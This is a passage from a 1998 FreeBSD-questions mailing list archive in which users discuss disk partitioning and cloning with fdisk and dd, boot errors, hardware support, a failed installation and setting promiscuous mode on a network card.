-0500" Message-ID: <87n2dv16mb.fsf@phaedrus.uchicago.edu> Lines: 20 X-Mailer: Gnus v5.6.3/XEmacs 20.3 - "Vatican City" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Stanley Barker writes: > I was wondering is their a small version of fbsd to > learn on. What it is, I want to learn unix. I'm a dos/win95 > user. And unix is big in the world of computers. Is their any way of > doing this. With out all of the overhead (disk space). Or any other > suggestion. Thanks in advances. Hm... well, really, disk space is so cheap these days... really the easiest thing to do would be to buy a new drive. Partitioning and old drive would probably be more difficult than the whole installation anyway! I'd also suggest getting 2.2.6 release from walnut creek when it is available. http://www.cdrom.com/titles/os/fbsd26.htm -- Steve Farrell To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 06:18:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA23851 for freebsd-questions-outgoing; Thu, 9 Apr 1998 06:18:55 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from horton.iaces.com (horton.iaces.com [204.147.87.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA23846 for ; Thu, 9 Apr 1998 06:18:51 -0700 (PDT) (envelope-from proot@horton.iaces.com) Received: (from proot@localhost) by horton.iaces.com (8.8.7/8.8.7) id IAA15466; Thu, 9 Apr 1998 08:16:54 -0500 (CDT) From: "Paul T. Root" Message-Id: <199804091316.IAA15466@horton.iaces.com> Subject: Re: How to make a non-dangerously dedicated disk? To: andre.albsmeier@mchp.siemens.de (Andre Albsmeier) Date: Thu, 9 Apr 1998 08:16:54 -0500 (CDT) Cc: freebsd-questions@FreeBSD.ORG In-Reply-To: <199804090530.HAA06282@intern> from Andre Albsmeier at "Apr 9, 98 07:30:34 am" X-Organization: USWEST !nterprise Networking - ACES X-Phone: (612) 664-3385 X-Fax: (612) 664-4779 X-Page: (800) SKY-PAGE PIN: 537-7270 X-Address: 600 Stinson Blvd, Fl 1S X-Address: Minneapolis, MN 55413 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In a previous message, Andre Albsmeier said: > As the subject says: I want to create a non-dangerously dedicated disk > but without using sysinstall. The reason is, I want to make an exact > copy of the present system (2.2.6) but can't use the dangerously dedicated > mode because the new disk will go into another broken Siemens PC. > By 'exact copy' do you mean that the disk is the same? I've just completed making a boot disk/cdrom or tape combination to make cookie cutter systems on some IBM Z Pros. If the disks are the same, you can get the configuration of the first one in fdisk and make an fdisk.conf file to input to the new disk. Read the fdisk man page, it's quite simple. I have IBM 4.2 gig SCSI disks. The fdisk looks like: $ fdisk sd0 ******* Working on device /dev/rsd0 ******* parameters extracted from in-core disklabel are: cylinders=548 heads=255 sectors/track=63 (16065 blks/cyl) parameters to be used for BIOS calculations are: cylinders=548 heads=255 sectors/track=63 (16065 blks/cyl) Media sector size is 512 Warning: BIOS sector numbering starts with sector 1 Information from DOS bootblock is: The data for partition 1 is: sysid 165,(FreeBSD/NetBSD/386BSD) start 63, size 4192902 (2047 Meg), flag 80 beg: cyl 0/ sector 1/ head 1; end: cyl 260/ sector 63/ head 254 The data for partition 2 is: The data for partition 3 is: The data for partition 4 is: Which I put into fdisk.conf: g c548 h255 s63 p 1 165 63 4192902 a 1 The first line is the geometry. The second line is the first partition and the third line sets the first partition active. Simple. Then run: fdisk -i -f fdisk.conf /dev/rsd0 Then do the same sort of thing on disklabel, newfs, fsck and off you go. I created a mini kernel (and compressed using kzip), then built a boot floppy with the kernel and all the programs needed (it's a squeeze): ifconfig, newfs, fdisk, disklabel, fsck, mount, restore, init, mount_cd9660, sh, sync. Then add the minimally needed support files: fstab, fdisk.conf, disklabel.conf, /usr/mdec/boot[12], MAKEDEV, devices, master.passwd (and run pwd_mkdb), services (just the shell line), boot.config and /etc/rc. Creating the rc that did the install turned out to be the hard part. And mine is extremely simple minded, and needs to be expanded to handle other media. I do remote tape and local CD-ROM. A local/remote disk or local tape would be trival. I did run into one other problem. After rdumping my FS's to a solaris tape host, I wanted to dump the dump files to disk so I could burn them on my CD-Rom burner (in Win NT, grrr). But Solaris dd couldn't read the file off the tape? Anybody got ideas why? And I still want to get my Philips CDR400t going on FreeBSD. Oh, I guess I rambled a little to much. If anybody is interested in the scripts, I'd be glad to pass them on or post. Paul. -- When people run around and around in circles, we say they are crazy. When planets do it, we say they are orbiting. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 06:29:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA25002 for freebsd-questions-outgoing; Thu, 9 Apr 1998 06:29:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA24995 for ; Thu, 9 Apr 1998 06:29:07 -0700 (PDT) (envelope-from jrs@Mars.mcs.net) Received: from Mars.mcs.net (jrs@Mars.mcs.net [192.160.127.85]) by Kitten.mcs.com (8.8.7/8.8.2) with ESMTP id IAA27369 for ; Thu, 9 Apr 1998 08:29:07 -0500 (CDT) Received: from localhost (jrs@localhost) by Mars.mcs.net (8.8.7/8.8.2) with SMTP id IAA07257 for ; Thu, 9 Apr 1998 08:29:06 -0500 (CDT) Date: Thu, 9 Apr 1998 08:29:06 -0500 (CDT) From: "J.R.S. II" To: freebsd-questions@FreeBSD.ORG Subject: search command Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Greetings. I recently ftp'd a file from a remote location to my machine. During the download I walked away and do not remember where I put the file. Is there a command that would allow me to search all directories for the file if I knew the file or folder name?? Any help would be nice. Thanks JOHN ********************************* * Elocin Solutions * * Providing Tomorrows * * Solutions Today * * Johnathan Raymond Sconiers II * * jrs@elocin.com * ********************************* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 06:30:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA25426 for freebsd-questions-outgoing; Thu, 9 Apr 1998 06:30:05 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA25409 for ; Thu, 9 Apr 1998 06:30:01 -0700 (PDT) (envelope-from andre.albsmeier@mchp.siemens.de) Received: from salomon.mchp.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.8.8/8.8.8) with ESMTP id PAA29408 for ; Thu, 9 Apr 1998 15:29:38 +0200 (MDT) X-Envelope-Sender-Is: andre.albsmeier@mchp.siemens.de (at relayer david.siemens.de) Received: from curry.mchp.siemens.de (daemon@curry.mchp.siemens.de [146.180.31.23]) by salomon.mchp.siemens.de (8.8.8/8.8.5) with ESMTP id PAA06351 for ; Thu, 9 Apr 1998 15:29:41 +0200 (MDT) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.8/8.8.8) id PAA12760 for ; Thu, 9 Apr 1998 15:29:41 +0200 (CEST) From: Andre Albsmeier Message-Id: <199804091329.PAA08579@intern> Subject: Re: How to make a non-dangerously dedicated disk? In-Reply-To: <199804091316.IAA15466@horton.iaces.com> from "Paul T. Root" at "Apr 9, 98 08:16:54 am" To: proot@horton.iaces.com (Paul T. Root) Date: Thu, 9 Apr 1998 15:29:37 +0200 (CEST) Cc: andre.albsmeier@mchp.siemens.de, freebsd-questions@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > In a previous message, Andre Albsmeier said: > > As the subject says: I want to create a non-dangerously dedicated disk > > but without using sysinstall. The reason is, I want to make an exact > > copy of the present system (2.2.6) but can't use the dangerously dedicated > > mode because the new disk will go into another broken Siemens PC. > > > > By 'exact copy' do you mean that the disk is the same? I've just completed > making a boot disk/cdrom or tape combination to make cookie cutter > systems on some IBM Z Pros. > > If the disks are the same, you can get the configuration of the first > one in fdisk and make an fdisk.conf file to input to the new disk. > Read the fdisk man page, it's quite simple. If the disks were the same, the easiest thing to do would be dd if=/dev/rsd0 of=/dev/rsd1 in single user mode. I have done this many times to create a backup of our system disks. Unfortunately, the new disk is another type (other size, other geometry). But now I had success by using the old trick of creating a DOS partition first. The the disk had the correct geometry and I simply replaced the DOS partition with a FreeBSD partition with fdisk. > Creating the rc that did the install turned out to be the hard part. And mine is > extremely simple minded, and needs to be expanded to handle other media. I do > remote tape and local CD-ROM. A local/remote disk or local tape would be trival. > > I did run into one other problem. After rdumping my FS's to a solaris tape host, > I wanted to dump the dump files to disk so I could burn them on my CD-Rom burner > (in Win NT, grrr). But Solaris dd couldn't read the file off the tape? Anybody > got ideas why? And I still want to get my Philips CDR400t going on FreeBSD. cdrecord doesn't work for it? Thanks, -Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 06:35:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA26092 for freebsd-questions-outgoing; Thu, 9 Apr 1998 06:35:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from abby.skypoint.net (abby.skypoint.net [199.86.32.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA26027 for ; Thu, 9 Apr 1998 06:35:30 -0700 (PDT) (envelope-from bruce@zuhause.mn.org) Received: (from uucp@localhost) by abby.skypoint.net (8.8.7/jl 1.3) with UUCP id IAA11265 for freebsd-questions@freebsd.org; Thu, 9 Apr 1998 08:35:29 -0500 (CDT) Received: (from bruce@localhost) by zuhause.mn.org (8.8.8/8.8.7) id IAA00406; Thu, 9 Apr 1998 08:30:08 -0500 (CDT) Date: Thu, 9 Apr 1998 08:30:08 -0500 (CDT) Message-Id: <199804091330.IAA00406@zuhause.mn.org> From: Bruce Albrecht To: freebsd-questions@FreeBSD.ORG Subject: Missing boot.cfg, boot.help Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I just moved all my file systems around, and moved my freebsd root partition to a freebsd-only drive (i.e., no partitions, just a disklabeled drive). When I boot, it complains that boot.cfg and boot.help are missing, and I have to hit a return to get it to boot. My original root didn't have these files, but I never got such an error. When I created the file partitions, I just did disklabel -w -B sd1 conner_new which uses /usr/mdec/boot1 and /usr/mdec/boot2. Do I really need /usr/mdec/boot1 and /usr/mdec/rawboot? Here's the disklabel for the drive: conner_new|cfp2107e_new:\ :ty=winchester:dt=SCSI:rm#7200:\ :se#512:nc#4096:nt#16:ns#64:\ :oa#282624:pa#258048:ta=4.2BSD:\ :ob#64:pb#282560:tb=swap:\ :oc#0:pc#4194304:\ :od#540672:pd#258048:td=4.2BSD:\ :oe#798720:pe#512000:te=4.2BSD:\ :of#1310720:pf#2883584:tf=4.2BSD: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 06:37:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA26643 for freebsd-questions-outgoing; Thu, 9 Apr 1998 06:37:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from horton.iaces.com (horton.iaces.com [204.147.87.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA26636 for ; Thu, 9 Apr 1998 06:37:28 -0700 (PDT) (envelope-from proot@horton.iaces.com) Received: (from proot@localhost) by horton.iaces.com (8.8.7/8.8.7) id IAA15557; Thu, 9 Apr 1998 08:36:27 -0500 (CDT) From: "Paul T. Root" Message-Id: <199804091336.IAA15557@horton.iaces.com> Subject: Re: Support for SunSparc Ipx To: colin@SilkRoadInteractive.com (Colin Belton) Date: Thu, 9 Apr 1998 08:36:26 -0500 (CDT) Cc: freebsd-questions@FreeBSD.ORG In-Reply-To: from Colin Belton at "Apr 8, 98 01:48:05 pm" X-Organization: USWEST !nterprise Networking - ACES X-Phone: (612) 664-3385 X-Fax: (612) 664-4779 X-Page: (800) SKY-PAGE PIN: 537-7270 X-Address: 600 Stinson Blvd, Fl 1S X-Address: Minneapolis, MN 55413 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In a previous message, Colin Belton said: > Hello > > I'm looking for a unix-like OS to install on my SunSparc IPX will FreeBSD > support this hardware? SunOS and Solaris are unix-like. :-) No FreeBSD does not work on these systems. There are Alpha and UltraSparc ports, and some interest from Apple. But predominately, FreeBSD is Intel based. There is a Linux port and NetBSD and OpenBSD. Probably some others, too. -- aibohphobia -- the fear of palindromes To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 06:53:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA28308 for freebsd-questions-outgoing; Thu, 9 Apr 1998 06:53:37 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.eclipse.net (chrismar@mail.eclipse.net [207.207.192.13]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA28301 for ; Thu, 9 Apr 1998 06:53:33 -0700 (PDT) (envelope-from chrismar@mail.eclipse.net) Received: (from chrismar@localhost) by mail.eclipse.net (8.8.6/8.8.6) id JAA09487; Thu, 9 Apr 1998 09:53:27 -0400 (EDT) Date: Thu, 9 Apr 1998 09:53:27 -0400 (EDT) From: Chris Martino To: questions@FreeBSD.ORG Subject: Installation Problems Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG To Whom it May Concern: Yesterday a friend and I tried installing FreeBSD 2.2.5 from CD, and to say the least we ran into some problems. I'm hoping someone can help. I've read through the FAQ and it didn't seem to help any. Heres what happened: Stuck the #1 CD in the drive which happens to be F:\ and read the README.TXT and printed out the INSTALL.TXT We looked to see how much free space he had left, and Win95 reported that he had 630 megs free on C:. So, in the installation guide it said to use the FIPS utility to prepare a DOS partition. We did that, and it said the maximum size we could use was 354, I don't know why it was 354, and win95 reported 630 free. Anyways, we went a head and ran it, and then we ended up with a 354 mb dos, or so we assume. Anyways, when we rebooted and windows came back up there was a happy little D:\ drive. After than we exited to DOS and ran the view program. And then we chose to run teh install.bat so we could begin the install. It failed to boot, I don't remember the exact error, but it had something to do with permissions. Re rebooted again into windows and then formated the new D:\ tp be useable by windows and then ran the install.bat again. Same thing. So, we rebooted again and BAM!! got this little thing that says "Welcome to FreeBSD 2.2.5 -Currnet. We thought we were set. So, we entered the novice installation and the little FDISK thing came up, we saw a partition that was being unused, and we assumed that that was the one we wanted, so we selected it and decided to use it all. No insted of saying unused it said "freebsd" so we figured okay...got that part done. We continued on with the installation by selecting the stuff we wanted to install. Picked what we wanted and then pressed okay.. Now the prblems starting happening. It said something like "WARNING: / was not found" and it did the same for /usr , and /var. So we said uh oh, and then he ctrl-alt-deleted to restart again. Now when it boots it says: F1 .... BSD Choose F? Or something to that effect. So, we tried the F1, and it got something like error, kernel not found....and then hangs at boot: which is what i figurted considering we never really installed anything. So, then we decided to reboot again with his restore cd in the drive, okay phew something finally came up, so ewe exited to DOS and then went to C: and noticed everything was gone. We completly erased everything. Now, my question to you is, from what I tell you does it seem like we did anything wrong? I don't know what happened so I hoping you can tell me some ideas to try. As far as I know he is doing a restore of Win95 tonight and tomorrow we are gonna start totally from scratch. Thanks, Chris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 07:11:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA00273 for freebsd-questions-outgoing; Thu, 9 Apr 1998 07:11:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from igw3.watson.ibm.com (igw3.watson.ibm.com [198.81.209.18]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA00262 for ; Thu, 9 Apr 1998 07:10:48 -0700 (PDT) (envelope-from ribo@watson.ibm.com) Received: from mailhub1.watson.ibm.com (mailhub1.watson.ibm.com [9.2.249.31]) by igw3.watson.ibm.com (8.8.7/07-11-97) with ESMTP id KAA11130 for ; Thu, 9 Apr 1998 10:10:46 -0400 Received: from ribox.watson.ibm.com (ribox.watson.ibm.com [9.2.24.24]) by mailhub1.watson.ibm.com (8.8.7/Feb-20-98) with SMTP id KAA11780 for ; Thu, 9 Apr 1998 10:10:46 -0400 Received: by ribox.watson.ibm.com (AIX 4.1/UCB 5.64/4.03) id AA20462; Thu, 9 Apr 1998 10:04:11 -0400 Date: Thu, 9 Apr 1998 10:04:11 -0400 From: ribo@watson.ibm.com (Bob Flavin) Message-Id: <9804091404.AA20462@ribox.watson.ibm.com> To: questions@FreeBSD.ORG Subject: IFF_PROMISC getting into promiscuous mode Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG How do you get an ethernet adapter running in promiscuous mode? I open a socket: sock = socket(AF_INET, SOCK_DGRAM, 0); and GET, OR and SET the IFF_DEBUG and IFF_PROMISC bits with ioctl(sock, SIOCGIFFLAGS, (char*)&ifr); ... ioctl(sock, SIOCSIFFLAGS, (char*)&ifr); this seems to work because: ifconfig fxp0 shows the DEBUG and PROMISC flags on. However, I don't get a stream of packets in the loop that read()'s packets. That uses another socket, previously opened as: s = socket(AF_INET, SOCK_RAW, IPPROTO_IP); (On another system (AIX) I use AF_INTF for the read() socket, FreeBSD doesn't seem to have this.) What do I do? Do you have any samples of (non-BPF) sniffer code? Bob To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 07:14:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA00779 for freebsd-questions-outgoing; Thu, 9 Apr 1998 07:14:40 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from Bayou.UH.EDU (root@Bayou.UH.EDU [129.7.1.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA00771 for ; Thu, 9 Apr 1998 07:14:37 -0700 (PDT) (envelope-from jef53313@Bayou.UH.EDU) Received: from Bayou.UH.EDU (jef53313@Bayou.UH.EDU [129.7.1.7]) by Bayou.UH.EDU (8.8.8/8.8.8) with SMTP id IAA27216; Thu, 9 Apr 1998 08:18:28 -0500 (CDT) Date: Thu, 9 Apr 1998 08:18:21 -0500 (CDT) From: Jonathan Fosburgh To: Doug White cc: robert t tan , freebsd-questions@FreeBSD.ORG Subject: Re: Intel EtherExpress .. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- On Thu, 9 Apr 1998, Doug White wrote: > > Only the PCI Pro/100B or Pro/100+. The EtherExpress 16 is supposedly > supported but it doesn't work. Oh it works, I've been using it for 6-8 months. You just have to give it a lot of love. ;) +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Jonathan Fosburgh |We shall not cease from exploration jef53313@bayou.uh.edu, |And the end of all our exploring wotan@scientist.com |Will be to arrive where we started |And know the place for the first time. www.geocities.com/vienna/1498 | Undergraduate Geophysics |T.S. Eliot, University of Houston |The Four Quartets ******************************************************************************* I swear -- by my life and my love of it -- at I will never live for the sake of another man nor ask another man to live for the sake of mine. Ayn Rand, Atlas Shrugged ******************************************************************************* -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQBVAwUBNSzKpC+/EgaGK39hAQGwKwIAog4VXJi7k0zeIju0J5LJ6kW7mb7DEptm pvaN9DgdfFF/W5KtZB7WD7/R8z8NmaFnMqUe8P6F6SA1DBQ3hbAvzw== =WszP -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 07:16:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA01219 for freebsd-questions-outgoing; Thu, 9 Apr 1998 07:16:11 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from horton.iaces.com (horton.iaces.com [204.147.87.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA01210 for ; Thu, 9 Apr 1998 07:16:02 -0700 (PDT) (envelope-from proot@horton.iaces.com) Received: (from proot@localhost) by horton.iaces.com (8.8.7/8.8.7) id JAA15689; Thu, 9 Apr 1998 09:14:52 -0500 (CDT) From: "Paul T. Root" Message-Id: <199804091414.JAA15689@horton.iaces.com> Subject: Re: search command To: jrs@Mcs.Net (J.R.S. II) Date: Thu, 9 Apr 1998 09:14:52 -0500 (CDT) Cc: freebsd-questions@FreeBSD.ORG In-Reply-To: from "J.R.S. II" at "Apr 9, 98 08:29:06 am" X-Organization: USWEST !nterprise Networking - ACES X-Phone: (612) 664-3385 X-Fax: (612) 664-4779 X-Page: (800) SKY-PAGE PIN: 537-7270 X-Address: 600 Stinson Blvd, Fl 1S X-Address: Minneapolis, MN 55413 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In a previous message, J.R.S. II said: > Greetings. I recently ftp'd a file from a remote location to my machine. > During the download I walked away and do not remember where I put the > file. Is there a command that would allow me to search all directories > for the file if I knew the file or folder name?? Any help would be nice. find -name -print -- Anyone can fall out of an airplane, skydivers just do it right. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 07:16:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA01347 for freebsd-questions-outgoing; Thu, 9 Apr 1998 07:16:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from horton.iaces.com (horton.iaces.com [204.147.87.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA01215 for ; Thu, 9 Apr 1998 07:16:08 -0700 (PDT) (envelope-from proot@horton.iaces.com) Received: (from proot@localhost) by horton.iaces.com (8.8.7/8.8.7) id JAA15678; Thu, 9 Apr 1998 09:13:44 -0500 (CDT) From: "Paul T. Root" Message-Id: <199804091413.JAA15678@horton.iaces.com> Subject: Re: How to make a non-dangerously dedicated disk? To: andre.albsmeier@mchp.siemens.de (Andre Albsmeier) Date: Thu, 9 Apr 1998 09:13:43 -0500 (CDT) Cc: andre.albsmeier@mchp.siemens.de, freebsd-questions@FreeBSD.ORG In-Reply-To: <199804091329.PAA08579@intern> from Andre Albsmeier at "Apr 9, 98 03:29:37 pm" X-Organization: USWEST !nterprise Networking - ACES X-Phone: (612) 664-3385 X-Fax: (612) 664-4779 X-Page: (800) SKY-PAGE PIN: 537-7270 X-Address: 600 Stinson Blvd, Fl 1S X-Address: Minneapolis, MN 55413 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In a previous message, Andre Albsmeier said: > > If the disks were the same, the easiest thing to do would be > > dd if=/dev/rsd0 of=/dev/rsd1 Yeah, I did that too, for my first set of machines (I think I used dump/restore), but that involved pulling the disk and putting it in the other machine. > > I did run into one other problem. After rdumping my FS's to a solaris tape host, > > I wanted to dump the dump files to disk so I could burn them on my CD-Rom burner > > (in Win NT, grrr). But Solaris dd couldn't read the file off the tape? Anybody > > got ideas why? And I still want to get my Philips CDR400t going on FreeBSD. > > cdrecord doesn't work for it? Nope, it won't recognize the drive. I'm wondering if cdrecord is dependant on the scsi card? The one here at work is an amd driver. At home, I've yet to get my old Philips CDD2000 to work with either worm or cdrecord. I've got that on a 2940. -- An aad may have made this posting invalid To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 07:17:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA01928 for freebsd-questions-outgoing; Thu, 9 Apr 1998 07:17:05 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from whistle.com (s205m131.whistle.com [207.76.205.131]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA01863 for ; Thu, 9 Apr 1998 07:17:01 -0700 (PDT) (envelope-from dhw@whistle.com) Received: (from smap@localhost) by whistle.com (8.7.5/8.6.12) id HAA27574 for ; Thu, 9 Apr 1998 07:16:31 -0700 (PDT) Received: from pau-amma.whistle.com(207.76.205.64) by whistle.com via smap (V1.3) id sma027572; Thu Apr 9 07:16:09 1998 Received: (from dhw@localhost) by pau-amma.whistle.com (8.8.7/8.8.7) id HAA25492 for freebsd-questions@freebsd.org; Thu, 9 Apr 1998 07:16:09 -0700 (PDT) (envelope-from dhw) Date: Thu, 9 Apr 1998 07:16:09 -0700 (PDT) From: David Wolfskill Message-Id: <199804091416.HAA25492@pau-amma.whistle.com> To: freebsd-questions@FreeBSD.ORG Subject: Re: FreeBSD Sun Floppy? Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >Date: Wed, 08 Apr 1998 11:18:09 -0500 >From: Bob Alberti >Hi! I recently came into an old SparcClassic. I'd like to install FreeBSD >on it. Is there any way to build a floppy image to start the process, >particularly if one must use a PC to build the floppy? The machine itself >has a blank 300 MB hard drive and no CD. I have no reason to believe that the machine has any provision for booting from floppy. (Booting from a floppy, in that environment, is even more of an unnatural act than trying to use one in multi-user mode.) Your boot options are the network, the disk drive, or CD (which may be attached via the SCSI connector, though it will need to be set up for 512-byte blocks). The site http://www.sunhelp.com/ has a large variety of useful pointers. There is also a mailing list for folks interested in FreeBSD on SPARC machines; it's freebsd-sparc@freebsd.org. david -- David Wolfskill dhw@whistle.com (650) 577-7158 pager: (650) 401-0168 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 07:29:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA02987 for freebsd-questions-outgoing; Thu, 9 Apr 1998 07:29:21 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA02977 for ; Thu, 9 Apr 1998 07:29:16 -0700 (PDT) (envelope-from andre.albsmeier@mchp.siemens.de) Received: from salomon.mchp.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.8.8/8.8.8) with ESMTP id QAA11308 for ; Thu, 9 Apr 1998 16:28:55 +0200 (MDT) X-Envelope-Sender-Is: andre.albsmeier@mchp.siemens.de (at relayer david.siemens.de) Received: from curry.mchp.siemens.de (daemon@curry.mchp.siemens.de [146.180.31.23]) by salomon.mchp.siemens.de (8.8.8/8.8.5) with ESMTP id QAA25555 for ; Thu, 9 Apr 1998 16:28:55 +0200 (MDT) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.8/8.8.8) id QAA13388 for ; Thu, 9 Apr 1998 16:28:56 +0200 (CEST) From: Andre Albsmeier Message-Id: <199804091428.QAA08782@intern> Subject: Re: How to make a non-dangerously dedicated disk? In-Reply-To: <199804091413.JAA15678@horton.iaces.com> from "Paul T. Root" at "Apr 9, 98 09:13:43 am" To: proot@horton.iaces.com (Paul T. Root) Date: Thu, 9 Apr 1998 16:28:52 +0200 (CEST) Cc: andre.albsmeier@mchp.siemens.de, freebsd-questions@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > In a previous message, Andre Albsmeier said: > > > > If the disks were the same, the easiest thing to do would be > > > > dd if=/dev/rsd0 of=/dev/rsd1 > > Yeah, I did that too, for my first set of machines (I think I used > dump/restore), but that involved pulling the disk and putting it in > the other machine. That would be no problem here. Also, I just did it for backup purposes so that people without knowledge can bring the machine up in the case of a disk failure by just changing the id jumpers. > > > > > I did run into one other problem. After rdumping my FS's to a solaris tape host, > > > I wanted to dump the 